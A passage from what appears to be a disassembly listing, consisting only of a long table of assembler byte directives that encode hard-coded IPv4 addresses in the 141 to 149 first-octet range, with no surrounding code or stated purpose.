	  db 141, 80, 25, 11		; ip
	  db 141, 80, 8, 10		; ip
	  db 141, 82, 16, 242		; ip
	  db 141, 85, 128, 1		; ip
	  db 141, 87, 110, 2		; ip
	  db 141, 89, 64, 1		; ip
	  db 141, 89, 65, 1		; ip
	  db 141, 90, 2, 1		; ip
	  db 141, 93, 35, 2		; ip
	  db 141, 99, 1, 12		; ip
	  db 141, 99, 158, 79		; ip
	  db 141, 99, 2	dup(2)		; ip
	  db 142, 102, 30, 5		; ip
	  db 142, 104, 6, 1		; ip
	  db 142, 104, 80, 2		; ip
	  db 142, 107, 134, 5		; ip
	  db 142, 108, 184, 39		; ip
	  db 142, 109, 1, 4		; ip
	  db 142, 110, 131, 2		; ip
	  db 142, 110, 131, 254		; ip
	  db 142, 128, 66, 26		; ip
	  db 142, 13, 16, 7		; ip
	  db 142, 130, 1, 25		; ip
	  db 142, 132, 1, 9		; ip
	  db 142, 135, 4, 14		; ip
	  db 142, 137, 3, 1		; ip
	  db 142, 139, 2 dup(24)	; ip
	  db 142, 14, 10, 205		; ip
	  db 142, 146, 39, 30		; ip
	  db 142, 147, 15, 10		; ip
	  db 142, 147, 15, 9		; ip
	  db 142, 152, 62, 2		; ip
	  db 142, 155, 248, 1		; ip
	  db 142, 155, 99, 4		; ip
	  db 142, 156, 1, 223		; ip
	  db 142, 158, 2, 10		; ip
	  db 142, 158, 2, 20		; ip
	  db 142, 158, 200, 5		; ip
	  db 142, 160, 2, 11		; ip
	  db 142, 165, 5, 2		; ip
	  db 142, 165, 5, 4		; ip
	  db 142, 169, 1, 16		; ip
	  db 142, 17, 2, 30		; ip
	  db 142, 177, 129, 11		; ip
	  db 142, 177, 2, 12		; ip
	  db 142, 200, 64, 50		; ip
	  db 142, 205, 208, 13		; ip
	  db 142, 205, 232, 13		; ip
	  db 142, 206, 64, 10		; ip
	  db 142, 207, 144, 4		; ip
	  db 142, 207, 144, 5		; ip
	  db 142, 217, 5, 9		; ip
	  db 142, 22, 250, 77		; ip
	  db 142, 222, 125, 20		; ip
	  db 142, 222, 125, 21		; ip
	  db 142, 227, 51, 1		; ip
	  db 142, 230, 2 dup(1)		; ip
	  db 142, 230, 199, 3		; ip
	  db 142, 232, 189, 1		; ip
	  db 142, 233, 15, 80		; ip
	  db 142, 238, 64, 71		; ip
	  db 142, 240, 200, 10		; ip
	  db 142, 246, 211, 100		; ip
	  db 142, 3, 100, 15		; ip
	  db 142, 3, 100, 254		; ip
	  db 142, 32, 100, 15		; ip
	  db 142, 39, 201, 10		; ip
	  db 142, 39, 201, 30		; ip
	  db 142, 42, 242, 1		; ip
	  db 142, 51, 1, 52		; ip
	  db 142, 51, 1, 53		; ip
	  db 142, 52, 88, 1		; ip
	  db 142, 55, 1, 9		; ip
	  db 142, 58, 103, 1		; ip
	  db 142, 58, 103, 2		; ip
	  db 142, 60, 2	dup(100)	; ip
	  db 142, 64, 1, 50		; ip
	  db 142, 66, 3, 100		; ip
	  db 142, 66, 3, 101		; ip
	  db 142, 73, 131, 39		; ip
	  db 142, 73, 131, 40		; ip
	  db 142, 74, 1, 3		; ip
	  db 142, 74, 1, 4		; ip
	  db 142, 77, 2	dup(1)		; ip
	  db 142, 77, 1, 5		; ip
	  db 142, 78, 40, 4		; ip
	  db 142, 87, 1, 4		; ip
	  db 142, 89, 2, 21		; ip
	  db 142, 89, 3, 100		; ip
	  db 142, 9, 2 dup(3)		; ip
	  db 142, 9, 3,	5		; ip
	  db 142, 90, 100, 19		; ip
	  db 142, 90, 100, 68		; ip
	  db 142, 92, 36, 1		; ip
	  db 142, 92, 39, 18		; ip
	  db 142, 92, 65, 15		; ip
	  db 142, 94, 146, 2		; ip
	  db 142, 99, 240, 9		; ip
	  db 143, 101, 112, 2		; ip
	  db 143, 105, 8, 2		; ip
	  db 143, 106, 51, 37		; ip
	  db 143, 107, 253, 3		; ip
	  db 143, 107, 253, 5		; ip
	  db 143, 108, 23, 2		; ip
	  db 143, 110, 2 dup(1)		; ip
	  db 143, 111, 64, 254		; ip
	  db 143, 111, 89, 254		; ip
	  db 143, 2 dup(116), 252	; ip
	  db 143, 117, 14, 13		; ip
	  db 143, 117, 6, 66		; ip
	  db 143, 119, 99, 9		; ip
	  db 143, 121, 254, 1		; ip
	  db 143, 126, 203, 254		; ip
	  db 143, 126, 211, 220		; ip
	  db 143, 128, 64, 2		; ip
	  db 143, 128, 64, 3		; ip
	  db 143, 129, 201, 210		; ip
	  db 143, 130, 16, 8		; ip
	  db 143, 132, 1, 9		; ip
	  db 143, 158, 16, 5		; ip
	  db 143, 158, 16, 6		; ip
	  db 143, 160, 8, 205		; ip
	  db 143, 161, 248, 10		; ip
	  db 143, 161, 248, 2		; ip
	  db 143, 165, 201, 80		; ip
	  db 143, 166, 82, 251		; ip
	  db 143, 166, 82, 252		; ip
	  db 143, 167, 1, 11		; ip
	  db 143, 167, 2 dup(2)		; ip
	  db 143, 169, 12, 99		; ip
	  db 143, 169, 254, 1		; ip
	  db 143, 174, 16, 7		; ip
	  db 143, 2 dup(176), 3		; ip
	  db 143, 177, 1, 101		; ip
	  db 143, 182, 246, 24		; ip
	  db 143, 182, 246, 25		; ip
	  db 143, 183, 152, 25		; ip
	  db 143, 183, 152, 26		; ip
	  db 143, 186, 11, 70		; ip
	  db 143, 192, 1, 103		; ip
	  db 143, 195, 1, 3		; ip
	  db 143, 195, 1, 6		; ip
	  db 143, 197, 200, 1		; ip
	  db 143, 200, 128, 150		; ip
	  db 143, 200, 128, 152		; ip
	  db 143, 205, 64, 51		; ip
	  db 143, 205, 64, 52		; ip
	  db 143, 207, 1, 4		; ip
	  db 143, 210, 12, 152		; ip
	  db 143, 210, 12, 154		; ip
	  db 143, 217, 100, 66		; ip
	  db 143, 217, 129, 10		; ip
	  db 143, 217, 129, 66		; ip
	  db 143, 220, 1, 4		; ip
	  db 143, 224, 185, 1		; ip
	  db 143, 226, 67, 202		; ip
	  db 143, 227, 1, 21		; ip
	  db 143, 227, 48, 3		; ip
	  db 143, 229, 1, 6		; ip
	  db 143, 231, 1, 67		; ip
	  db 143, 231, 249, 195		; ip
	  db 143, 233, 2 dup(1)		; ip
	  db 143, 234, 32, 13		; ip
	  db 143, 234, 32, 4		; ip
	  db 143, 235, 2, 16		; ip
	  db 143, 235, 2, 4		; ip
	  db 143, 236, 1, 14		; ip
	  db 143, 236, 1, 15		; ip
	  db 143, 237, 2, 58		; ip
	  db 143, 237, 2, 66		; ip
	  db 143, 239, 2 dup(1)		; ip
	  db 143, 239, 1, 25		; ip
	  db 143, 244, 72, 62		; ip
	  db 143, 246, 0, 1		; ip
	  db 143, 248, 1, 177		; ip
	  db 143, 250, 2 dup(3)		; ip
	  db 143, 250, 3, 4		; ip
	  db 143, 252, 80, 3		; ip
	  db 143, 254, 2, 20		; ip
	  db 143, 254, 20, 2		; ip
	  db 143, 43, 32, 100		; ip
	  db 143, 43, 32, 101		; ip
	  db 143, 44, 128, 1		; ip
	  db 143, 48, 2	dup(1)		; ip
	  db 143, 50, 20, 25		; ip
	  db 143, 52, 2, 10		; ip
	  db 143, 52, 2, 18		; ip
	  db 143, 52, 28, 10		; ip
	  db 143, 53, 238, 4		; ip
	  db 143, 53, 238, 5		; ip
	  db 143, 54, 1, 7		; ip
	  db 143, 65, 1, 9		; ip
	  db 143, 88, 1, 209		; ip
	  db 143, 88, 1, 81		; ip
	  db 143, 89, 14, 7		; ip
	  db 143, 89, 14, 8		; ip
	  db 143, 90, 130, 22		; ip
	  db 143, 90, 130, 38		; ip
	  db 143, 90, 130, 57		; ip
	  db 143, 90, 130, 58		; ip
	  db 143, 92, 1, 65		; ip
	  db 143, 93, 160, 9		; ip
	  db 143, 96, 8, 131		; ip
	  db 143, 97, 143, 25		; ip
	  db 143, 97, 143, 27		; ip
	  db 144, 118, 24, 10		; ip
	  db 144, 118, 24, 20		; ip
	  db 144, 120, 8, 1		; ip
	  db 144, 122, 199, 90		; ip
	  db 144, 122, 199, 93		; ip
	  db 144, 125, 40, 3		; ip
	  db 144, 126, 1, 10		; ip
	  db 144, 126, 75, 18		; ip
	  db 144, 141, 1, 240		; ip
	  db 144, 141, 194, 5		; ip
	  db 144, 141, 194, 6		; ip
	  db 144, 15, 255, 10		; ip
	  db 144, 15, 255, 11		; ip
	  db 144, 16, 64, 3		; ip
	  db 144, 160, 20, 33		; ip
	  db 144, 160, 21, 33		; ip
	  db 144, 162, 10, 230		; ip
	  db 144, 166, 176, 175		; ip
	  db 144, 166, 176, 177		; ip
	  db 144, 167, 10, 48		; ip
	  db 144, 173, 2 dup(6)		; ip
	  db 144, 173, 6, 71		; ip
	  db 144, 174, 128, 17		; ip
	  db 144, 175, 2, 8		; ip
	  db 144, 193, 248, 250		; ip
	  db 144, 198, 200, 1		; ip
	  db 144, 198, 225, 51		; ip
	  db 144, 202, 42, 2		; ip
	  db 144, 203, 11, 1		; ip
	  db 144, 204, 65, 4		; ip
	  db 144, 211, 100, 1		; ip
	  db 144, 212, 100, 12		; ip
	  db 144, 212, 4, 10		; ip
	  db 144, 213, 2, 10		; ip
	  db 144, 214, 2, 1		; ip
	  db 144, 214, 5, 254		; ip
	  db 144, 215, 114, 3		; ip
	  db 144, 215, 114, 4		; ip
	  db 144, 216, 2 dup(1)		; ip
	  db 144, 228, 254, 10		; ip
	  db 144, 228, 255, 10		; ip
	  db 144, 243, 4, 1		; ip
	  db 144, 251, 2 dup(10)	; ip
	  db 144, 251, 12, 10		; ip
	  db 144, 26, 94, 241		; ip
	  db 144, 29, 1, 2		; ip
	  db 144, 29, 129, 2		; ip
	  db 144, 30, 1, 4		; ip
	  db 144, 32, 128, 5		; ip
	  db 144, 32, 128, 6		; ip
	  db 144, 34, 2	dup(1)		; ip
	  db 144, 34, 2, 1		; ip
	  db 144, 37, 1, 250		; ip
	  db 144, 38, 1, 2		; ip
	  db 144, 38, 1, 3		; ip
	  db 144, 42, 100, 2		; ip
	  db 144, 42, 100, 7		; ip
	  db 144, 44, 10, 1		; ip
	  db 144, 44, 19, 25		; ip
	  db 144, 48, 1, 12		; ip
	  db 144, 5, 4,	27		; ip
	  db 144, 51, 15, 1		; ip
	  db 144, 51, 5, 2		; ip
	  db 144, 53, 251, 2		; ip
	  db 144, 54, 3, 2		; ip
	  db 144, 57, 254, 17		; ip
	  db 144, 57, 254, 18		; ip
	  db 144, 57, 254, 50		; ip
	  db 144, 58, 1, 14		; ip
	  db 144, 58, 160, 138		; ip
	  db 144, 62, 2	dup(16)		; ip
	  db 144, 63, 224, 3		; ip
	  db 144, 63, 224, 6		; ip
	  db 144, 65, 10, 1		; ip
	  db 144, 65, 11, 1		; ip
	  db 144, 73, 70, 205		; ip
	  db 144, 74, 21, 8		; ip
	  db 144, 74, 22, 8		; ip
	  db 144, 75, 4, 26		; ip
	  db 144, 80, 128, 8		; ip
	  db 144, 81, 97, 200		; ip
	  db 144, 82, 100, 1		; ip
	  db 144, 82, 100, 41		; ip
	  db 144, 83, 16, 8		; ip
	  db 144, 83, 16, 9		; ip
	  db 144, 85, 10, 90		; ip
	  db 144, 85, 20, 30		; ip
	  db 144, 86, 2	dup(1)		; ip
	  db 144, 89, 40, 1		; ip
	  db 144, 9, 158, 77		; ip
	  db 144, 9, 158, 78		; ip
	  db 144, 90, 128, 3		; ip
	  db 144, 92, 104, 20		; ip
	  db 144, 92, 104, 21		; ip
	  db 144, 92, 20, 99		; ip
	  db 144, 92, 9, 21		; ip
	  db 144, 92, 9, 22		; ip
	  db 144, 95, 0, 62		; ip
	  db 144, 96, 2	dup(192)	; ip
	  db 145, 2 dup(1), 16		; ip
	  db 145, 2 dup(1), 3		; ip
	  db 145, 100, 5, 30		; ip
	  db 145, 117, 32, 3		; ip
	  db 145, 117, 32, 4		; ip
	  db 145, 12, 10, 1		; ip
	  db 145, 13, 42, 5		; ip
	  db 145, 14, 60, 10		; ip
	  db 145, 18, 68, 50		; ip
	  db 145, 19, 2	dup(1)		; ip
	  db 145, 19, 1, 220		; ip
	  db 145, 2, 215, 21		; ip
	  db 145, 20, 126, 12		; ip
	  db 145, 225, 75, 243		; ip
	  db 145, 228, 1, 2		; ip
	  db 145, 229, 156, 2		; ip
	  db 145, 232, 253, 10		; ip
	  db 145, 234, 2 dup(253)	; ip
	  db 145, 236, 224, 248		; ip
	  db 145, 236, 224, 249		; ip
	  db 145, 2 dup(237), 1		; ip
	  db 145, 238, 2 dup(2)		; ip
	  db 145, 249, 1, 20		; ip
	  db 145, 253, 2, 11		; ip
	  db 145, 253, 2, 139		; ip
	  db 145, 253, 2, 203		; ip
	  db 145, 253, 2, 75		; ip
	  db 145, 28, 70, 253		; ip
	  db 145, 29, 130, 1		; ip
	  db 145, 3, 2 dup(1)		; ip
	  db 145, 3, 1,	4		; ip
	  db 145, 30, 160, 134		; ip
	  db 145, 30, 160, 138		; ip
	  db 145, 33, 4, 253		; ip
	  db 145, 41, 1, 167		; ip
	  db 145, 44, 210, 7		; ip
	  db 145, 52, 2, 5		; ip
	  db 145, 52, 2, 6		; ip
	  db 145, 58, 30, 2		; ip
	  db 145, 61, 26, 1		; ip
	  db 145, 62, 1, 2		; ip
	  db 145, 64, 128, 3		; ip
	  db 145, 66, 4, 12		; ip
	  db 145, 69, 39, 230		; ip
	  db 145, 72, 79, 222		; ip
	  db 145, 74, 103, 10		; ip
	  db 145, 77, 103, 2		; ip
	  db 145, 77, 103, 4		; ip
	  db 145, 81, 8, 20		; ip
	  db 145, 85, 2	dup(2)		; ip
	  db 145, 88, 210, 234		; ip
	  db 145, 89, 234, 3		; ip
	  db 145, 89, 38, 3		; ip
	  db 145, 9, 131, 203		; ip
	  db 145, 91, 144, 6		; ip
	  db 145, 92, 18, 2		; ip
	  db 145, 93, 210, 253		; ip
	  db 146, 102, 16, 1		; ip
	  db 146, 102, 16, 2		; ip
	  db 146, 103, 254, 12		; ip
	  db 146, 107, 1, 11		; ip
	  db 146, 107, 101, 11		; ip
	  db 146, 108, 2 dup(200)	; ip
	  db 146, 110, 2 dup(2)		; ip
	  db 146, 113, 32, 2		; ip
	  db 146, 113, 32, 6		; ip
	  db 146, 115, 8, 17		; ip
	  db 146, 115, 8, 18		; ip
	  db 146, 116, 1, 2		; ip
	  db 146, 116, 1, 5		; ip
	  db 146, 122, 132, 195		; ip
	  db 146, 124, 141, 250		; ip
	  db 146, 126, 2, 1		; ip
	  db 146, 126, 86, 1		; ip
	  db 146, 129, 100, 131		; ip
	  db 146, 132, 234, 160		; ip
	  db 146, 133, 2, 20		; ip
	  db 146, 133, 2, 21		; ip
	  db 146, 134, 8, 160		; ip
	  db 146, 136, 1, 3		; ip
	  db 146, 136, 1, 5		; ip
	  db 146, 137, 64, 5		; ip
	  db 146, 139, 254, 3		; ip
	  db 146, 141, 15, 210		; ip
	  db 146, 141, 16, 134		; ip
	  db 146, 142, 4, 13		; ip
	  db 146, 145, 64, 2		; ip
	  db 146, 145, 64, 3		; ip
	  db 146, 151, 53, 3		; ip
	  db 146, 152, 228, 9		; ip
	  db 146, 153, 144, 30		; ip
	  db 146, 155, 1, 155		; ip
	  db 146, 155, 1, 69		; ip
	  db 146, 157, 80, 3		; ip
	  db 146, 163, 5, 29		; ip
	  db 146, 163, 5, 3		; ip
	  db 146, 163, 5, 4		; ip
	  db 146, 164, 10, 2		; ip
	  db 146, 164, 8, 3		; ip
	  db 146, 165, 1, 9		; ip
	  db 146, 167, 129, 1		; ip
	  db 146, 167, 145, 1		; ip
	  db 146, 169, 2 dup(1)		; ip
	  db 146, 169, 1, 24		; ip
	  db 146, 171, 14, 101		; ip
	  db 146, 171, 14, 102		; ip
	  db 146, 175, 129, 1		; ip
	  db 146, 175, 129, 3		; ip
	  db 146, 176, 1, 5		; ip
	  db 146, 176, 2, 5		; ip
	  db 146, 180, 1, 10		; ip
	  db 146, 182, 9, 12		; ip
	  db 146, 186, 163, 66		; ip
	  db 146, 186, 2 dup(4)		; ip
	  db 146, 187, 216, 3		; ip
	  db 146, 187, 224, 9		; ip
	  db 146, 19, 2, 1		; ip
	  db 146, 191, 7, 3		; ip
	  db 146, 193, 0, 1		; ip
	  db 146, 195, 80, 30		; ip
	  db 146, 197, 27, 10		; ip
	  db 146, 197, 27, 11		; ip
	  db 146, 2, 181, 101		; ip
	  db 146, 202, 0, 2		; ip
	  db 146, 203, 1, 200		; ip
	  db 146, 213, 10, 30		; ip
	  db 146, 217, 15, 254		; ip
	  db 146, 219, 22, 131		; ip
	  db 146, 220, 239, 10		; ip
	  db 146, 222, 120, 21		; ip
	  db 146, 222, 7, 20		; ip
	  db 146, 226, 2, 1		; ip
	  db 146, 227, 1, 4		; ip
	  db 146, 228, 10, 16		; ip
	  db 146, 229, 1, 2		; ip
	  db 146, 231, 128, 1		; ip
	  db 146, 231, 128, 6		; ip
	  db 146, 245, 2, 151		; ip
	  db 146, 246, 250, 1		; ip
	  db 146, 249, 254, 65		; ip
	  db 146, 249, 254, 66		; ip
	  db 146, 48, 65, 2		; ip
	  db 146, 48, 65, 3		; ip
	  db 146, 5, 2,	1		; ip
	  db 146, 59, 80, 2		; ip
	  db 146, 6, 62, 1		; ip
	  db 146, 63, 234, 5		; ip
	  db 146, 63, 242, 6		; ip
	  db 146, 64, 10, 11		; ip
	  db 146, 64, 10, 166		; ip
	  db 146, 65, 233, 23		; ip
	  db 146, 2 dup(7), 77		; ip
	  db 146, 7, 8,	88		; ip
	  db 146, 74, 1, 65		; ip
	  db 146, 75, 254, 1		; ip
	  db 146, 83, 183, 94		; ip
	  db 146, 83, 198, 3		; ip
	  db 146, 85, 1, 50		; ip
	  db 146, 86, 1, 2		; ip
	  db 146, 86, 1, 200		; ip
	  db 146, 87, 255, 60		; ip
	  db 146, 87, 3, 2		; ip
	  db 146, 88, 1, 4		; ip
	  db 146, 94, 1, 2		; ip
	  db 146, 95, 1, 12		; ip
	  db 146, 96, 128, 100		; ip
	  db 146, 96, 128, 9		; ip
	  db 146, 99, 4, 44		; ip
	  db 147, 102, 222, 210		; ip
	  db 147, 102, 222, 220		; ip
	  db 147, 102, 222, 230		; ip
	  db 147, 106, 1, 5		; ip
	  db 147, 109, 238, 5		; ip
	  db 147, 110, 59, 55		; ip
	  db 147, 113, 146, 4		; ip
	  db 147, 113, 146, 5		; ip
	  db 147, 120, 110, 10		; ip
	  db 147, 122, 1, 10		; ip
	  db 147, 122, 1, 11		; ip
	  db 147, 123, 1, 22		; ip
	  db 147, 123, 1, 23		; ip
	  db 147, 124, 1, 200		; ip
	  db 147, 124, 1, 201		; ip
	  db 147, 125, 99, 60		; ip
	  db 147, 125, 99, 66		; ip
	  db 147, 126, 2 dup(1)		; ip
	  db 147, 126, 1, 2		; ip
	  db 147, 126, 240, 1		; ip
	  db 147, 126, 240, 2		; ip
	  db 147, 127, 16, 11		; ip
	  db 147, 127, 18, 144		; ip
	  db 147, 129, 1, 2		; ip
	  db 147, 13, 200, 1		; ip
	  db 147, 133, 2 dup(1)		; ip
	  db 147, 134, 2, 15		; ip
	  db 147, 136, 2 dup(250)	; ip
	  db 147, 136, 252, 50		; ip
	  db 147, 137, 1, 7		; ip
	  db 147, 138, 10, 30		; ip
	  db 147, 138, 10, 40		; ip
	  db 147, 139, 129, 1		; ip
	  db 147, 14, 10, 167		; ip
	  db 147, 140, 128, 79		; ip
	  db 147, 143, 2, 1		; ip
	  db 147, 144, 3, 238		; ip
	  db 147, 145, 40, 2		; ip
	  db 147, 153, 1, 2		; ip
	  db 147, 153, 1, 3		; ip
	  db 147, 154, 7, 202		; ip
	  db 147, 155, 2 dup(1)		; ip
	  db 147, 157, 2 dup(1)		; ip
	  db 147, 157, 130, 1		; ip
	  db 147, 157, 2, 1		; ip
	  db 147, 160, 128, 10		; ip
	  db 147, 160, 128, 11		; ip
	  db 147, 160, 99, 35		; ip
	  db 147, 161, 1, 4		; ip
	  db 147, 162, 1, 2		; ip
	  db 147, 162, 100, 180		; ip
	  db 147, 162, 2, 100		; ip
	  db 147, 163, 1, 22		; ip
	  db 147, 172, 16, 41		; ip
	  db 147, 173, 1, 26		; ip
	  db 147, 174, 1, 4		; ip
	  db 147, 174, 1, 5		; ip
	  db 147, 175, 111, 15		; ip
	  db 147, 178, 1, 5		; ip
	  db 147, 178, 1, 52		; ip
	  db 147, 182, 5, 10		; ip
	  db 147, 186, 219, 65		; ip
	  db 147, 188, 128, 2		; ip
	  db 147, 188, 192, 4		; ip
	  db 147, 191, 2, 67		; ip
	  db 147, 196, 69, 8		; ip
	  db 147, 197, 200, 2		; ip
	  db 147, 197, 200, 44		; ip
	  db 147, 205, 85, 130		; ip
	  db 147, 206, 5, 1		; ip
	  db 147, 208, 163, 20		; ip
	  db 147, 208, 163, 21		; ip
	  db 147, 208, 3, 20		; ip
	  db 147, 208, 3, 21		; ip
	  db 147, 209, 142, 2		; ip
	  db 147, 21, 2, 12		; ip
	  db 147, 21, 2, 14		; ip
	  db 147, 210, 253, 1		; ip
	  db 147, 211, 50, 12		; ip
	  db 147, 211, 50, 15		; ip
	  db 147, 213, 2 dup(1)		; ip
	  db 147, 215, 1, 4		; ip
	  db 147, 225, 1, 2		; ip
	  db 147, 225, 22, 41		; ip
	  db 147, 225, 22, 94		; ip
	  db 147, 225, 48, 13		; ip
	  db 147, 228, 1, 10		; ip
	  db 147, 228, 52, 19		; ip
	  db 147, 230, 16, 1		; ip
	  db 147, 231, 12, 1		; ip
	  db 147, 232, 16, 12		; ip
	  db 147, 249, 10, 3		; ip
	  db 147, 251, 4, 33		; ip
	  db 147, 251, 6, 10		; ip
	  db 147, 252, 1, 37		; ip
	  db 147, 253, 10, 11		; ip
	  db 147, 253, 10, 40		; ip
	  db 147, 253, 10, 47		; ip
	  db 147, 26, 1, 11		; ip
	  db 147, 27, 18, 1		; ip
	  db 147, 28, 0, 34		; ip
	  db 147, 28, 0, 39		; ip
	  db 147, 29, 10, 55		; ip
	  db 147, 29, 10, 6		; ip
	  db 147, 31, 80, 10		; ip
	  db 147, 31, 88, 17		; ip
	  db 147, 32, 1, 20		; ip
	  db 147, 32, 1, 9		; ip
	  db 147, 33, 15, 5		; ip
	  db 147, 41, 64, 54		; ip
	  db 147, 41, 64, 60		; ip
	  db 147, 41, 64, 61		; ip
	  db 147, 45, 15, 34		; ip
	  db 147, 45, 15, 35		; ip
	  db 147, 46, 80, 1		; ip
	  db 147, 49, 50, 52		; ip
	  db 147, 52, 80, 1		; ip
	  db 147, 53, 6, 50		; ip
	  db 147, 55, 48, 32		; ip
	  db 147, 55, 96, 32		; ip
	  db 147, 56, 86, 4		; ip
	  db 147, 6, 114, 66		; ip
	  db 147, 64, 32, 6		; ip
	  db 147, 65, 1, 3		; ip
	  db 147, 66, 8, 1		; ip
	  db 147, 70, 2	dup(8)		; ip
	  db 147, 76, 180, 1		; ip
	  db 147, 8, 145, 30		; ip
	  db 147, 8, 145, 32		; ip
	  db 147, 8, 2 dup(2)		; ip
	  db 147, 8, 2,	3		; ip
	  db 147, 80, 8, 2		; ip
	  db 147, 80, 99, 6		; ip
	  db 147, 81, 240, 1		; ip
	  db 147, 81, 240, 3		; ip
	  db 147, 83, 2, 10		; ip
	  db 147, 83, 2, 3		; ip
	  db 147, 84, 200, 240		; ip
	  db 147, 86, 128, 20		; ip
	  db 147, 86, 128, 21		; ip
	  db 147, 87, 2	dup(1)		; ip
	  db 147, 87, 1, 2		; ip
	  db 147, 88, 1, 201		; ip
	  db 147, 88, 1, 204		; ip
	  db 147, 9, 1,	9		; ip
	  db 147, 91, 1, 5		; ip
	  db 147, 91, 8, 6		; ip
	  db 147, 92, 3, 15		; ip
	  db 147, 92, 3, 20		; ip
	  db 147, 94, 30, 39		; ip
	  db 147, 96, 2, 4		; ip
	  db 147, 97, 1, 10		; ip
	  db 147, 98, 7, 1		; ip
	  db 147, 98, 7, 2		; ip
	  db 148, 100, 160, 100		; ip
	  db 148, 100, 32, 40		; ip
	  db 148, 108, 1, 2		; ip
	  db 148, 111, 13, 30		; ip
	  db 148, 114, 16, 83		; ip
	  db 148, 117, 4, 10		; ip
	  db 148, 126, 100, 1		; ip
	  db 148, 126, 100, 2		; ip
	  db 148, 127, 68, 6		; ip
	  db 148, 134, 13, 165		; ip
	  db 148, 136, 17, 11		; ip
	  db 148, 137, 76, 60		; ip
	  db 148, 137, 76, 70		; ip
	  db 148, 141, 15, 252		; ip
	  db 148, 141, 15, 253		; ip
	  db 148, 142, 22, 24		; ip
	  db 148, 150, 30, 3		; ip
	  db 148, 164, 190, 2		; ip
	  db 148, 166, 28, 1		; ip
	  db 148, 167, 132, 200		; ip
	  db 148, 167, 202, 131		; ip
	  db 148, 167, 202, 132		; ip
	  db 148, 170, 8, 10		; ip
	  db 148, 182, 16, 2		; ip
	  db 148, 183, 56, 22		; ip
	  db 148, 184, 176, 31		; ip
	  db 148, 187, 11, 25		; ip
	  db 148, 187, 130, 150		; ip
	  db 148, 188, 2 dup(1)		; ip
	  db 148, 188, 1, 254		; ip
	  db 148, 196, 1, 10		; ip
	  db 148, 197, 159, 253		; ip
	  db 148, 201, 2 dup(1)		; ip
	  db 148, 202, 1, 29		; ip
	  db 148, 203, 151, 51		; ip
	  db 148, 203, 151, 52		; ip
	  db 148, 204, 102, 3		; ip
	  db 148, 204, 103, 2		; ip
	  db 148, 205, 2, 1		; ip
	  db 148, 206, 129, 216		; ip
	  db 148, 206, 32, 29		; ip
	  db 148, 207, 2 dup(1)		; ip
	  db 148, 207, 38, 1		; ip
	  db 148, 209, 2 dup(1)		; ip
	  db 148, 211, 2 dup(1)		; ip
	  db 148, 212, 1, 8		; ip
	  db 148, 213, 1, 2		; ip
	  db 148, 213, 1, 9		; ip
	  db 148, 214, 22, 13		; ip
	  db 148, 215, 2 dup(1)		; ip
	  db 148, 216, 1, 2		; ip
	  db 148, 216, 1, 21		; ip
	  db 148, 217, 2, 15		; ip
	  db 148, 217, 2, 30		; ip
	  db 148, 218, 60, 1		; ip
	  db 148, 220, 1, 2		; ip
	  db 148, 224, 17, 2		; ip
	  db 148, 224, 19, 3		; ip
	  db 148, 225, 1, 9		; ip
	  db 148, 225, 2, 9		; ip
	  db 148, 226, 2 dup(1)		; ip
	  db 148, 228, 1, 10		; ip
	  db 148, 228, 1, 4		; ip
	  db 148, 230, 225, 102		; ip
	  db 148, 231, 1, 3		; ip
	  db 148, 232, 1, 2		; ip
	  db 148, 234, 15, 3		; ip
	  db 148, 234, 45, 3		; ip
	  db 148, 236, 2, 5		; ip
	  db 148, 237, 51, 9		; ip
	  db 148, 238, 48, 2		; ip
	  db 148, 239, 1, 240		; ip
	  db 148, 239, 1, 60		; ip
	  db 148, 241, 32, 100		; ip
	  db 148, 246, 247, 124		; ip
	  db 148, 246, 247, 126		; ip
	  db 148, 247, 1, 2		; ip
	  db 148, 249, 250, 65		; ip
	  db 148, 4, 29, 3		; ip
	  db 148, 4, 5,	2		; ip
	  db 148, 56, 34, 10		; ip
	  db 148, 56, 34, 11		; ip
	  db 148, 59, 14, 12		; ip
	  db 148, 59, 19, 11		; ip
	  db 148, 6, 0,	5		; ip
	  db 148, 61, 1, 10		; ip
	  db 148, 61, 1, 15		; ip
	  db 148, 78, 249, 200		; ip
	  db 148, 78, 249, 201		; ip
	  db 148, 78, 255, 200		; ip
	  db 148, 78, 255, 201		; ip
	  db 148, 79, 80, 70		; ip
	  db 148, 79, 80, 78		; ip
	  db 148, 8, 128, 21		; ip
	  db 148, 81, 16, 51		; ip
	  db 148, 81, 52, 11		; ip
	  db 148, 85, 2	dup(1)		; ip
	  db 148, 85, 1, 3		; ip
	  db 148, 88, 8, 4		; ip
	  db 148, 88, 8, 7		; ip
	  db 149, 10, 221, 3		; ip
	  db 149, 101, 1, 3		; ip
	  db 149, 106, 160, 3		; ip
	  db 149, 114, 5, 100		; ip
	  db 149, 114, 5, 101		; ip
	  db 149, 117, 2 dup(1)		; ip
	  db 149, 121, 12, 2		; ip
	  db 149, 121, 12, 4		; ip
	  db 149, 127, 6, 17		; ip
	  db 149, 130, 10, 16		; ip
	  db 149, 132, 192, 3		; ip
	  db 149, 132, 2, 3		; ip
	  db 149, 136, 1, 100		; ip
	  db 149, 136, 1, 99		; ip
	  db 149, 137, 2 dup(1)		; ip
	  db 149, 137, 1, 3		; ip
	  db 149, 138, 25, 1		; ip
	  db 149, 139, 1, 100		; ip
	  db 149, 139, 11, 200		; ip
	  db 149, 144, 2 dup(2)		; ip
	  db 149, 148, 55, 5		; ip
	  db 149, 148, 2 dup(55)	; ip
	  db 2 dup(149), 11, 6		; ip
	  db 149, 15, 3, 1		; ip
	  db 149, 150, 209, 29		; ip
	  db 149, 150, 254, 25		; ip
	  db 149, 151, 1, 9		; ip
	  db 149, 153, 1, 5		; ip
	  db 149, 154, 32, 1		; ip
	  db 149, 154, 32, 22		; ip
	  db 149, 155, 200, 1		; ip
	  db 149, 155, 200, 2		; ip
	  db 149, 156, 1, 3		; ip
	  db 149, 156, 2, 100		; ip
	  db 149, 156, 2, 101		; ip
	  db 149, 156, 4, 11		; ip
	  db 149, 157, 1, 3		; ip
	  db 149, 161, 1, 5		; ip
	  db 149, 164, 2 dup(1)		; ip
	  db 149, 164, 187, 1		; ip
	  db 149, 168, 2 dup(11)	; ip
	  db 149, 168, 130, 252		; ip
	  db 149, 168, 138, 11		; ip
	  db 149, 168, 35, 24		; ip
	  db 149, 170, 190, 128		; ip
	  db 149, 171, 192, 2		; ip
	  db 149, 171, 96, 2		; ip
	  db 149, 173, 2 dup(1)		; ip
	  db 149, 173, 1, 4		; ip
	  db 149, 174, 211, 5		; ip
	  db 149, 174, 213, 5		; ip
	  db 149, 175, 2 dup(1)		; ip
	  db 149, 176, 253, 1		; ip
	  db 149, 19, 192, 10		; ip
